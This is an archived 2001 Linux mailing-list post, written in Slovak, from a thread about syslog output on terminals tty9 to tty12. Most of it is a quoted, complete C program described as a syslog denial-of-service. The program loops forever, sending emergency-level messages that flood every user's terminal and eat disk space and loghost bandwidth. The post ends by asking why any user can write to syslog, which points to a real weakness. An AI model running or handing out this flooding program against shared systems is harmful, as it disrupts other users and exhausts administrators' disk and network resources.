[linux] Vypisovanie logov na tty9 az tty12
carcass
carcass na gmx.net
Pátek Červenec 13 15:41:14 CEST 2001
ked sme uz pri tom syslogu - skuste si tento "program" :
/* members.xoom.com/i0wnu - coded by Mixter
* This nice little syslog DoS can be used
* to mess up EVERYONES terminal, I quote syslog.conf:
* # Everybody gets emergency messages, plus log them on another
* # machine.
* *.emerg *
* :) this eats about 2MB/minute of hd space, and 2MB/minute
* of bandwidth if your victim is using a loghost.
* Use this only if this is the last way out to get your shell
* canceled!:P
*/
#include <syslog.h>
#include <string.h>
int
main (int a, char **b)
{
strcpy (b[0], "1z_0wn3d");
while (1)
{
syslog (0, "|");
syslog (0, "/");
syslog (0, "-");
syslog (0, "\\");
syslog (0, "|");
syslog (0, "/");
syslog (0, "-");
syslog (0, "\\");
}
return 0;
}
preco moze *kazdy* zapisovat do syslogu ???
--
carcass
<*===============*>
carcass na gmx.net
Další informace o konferenci linux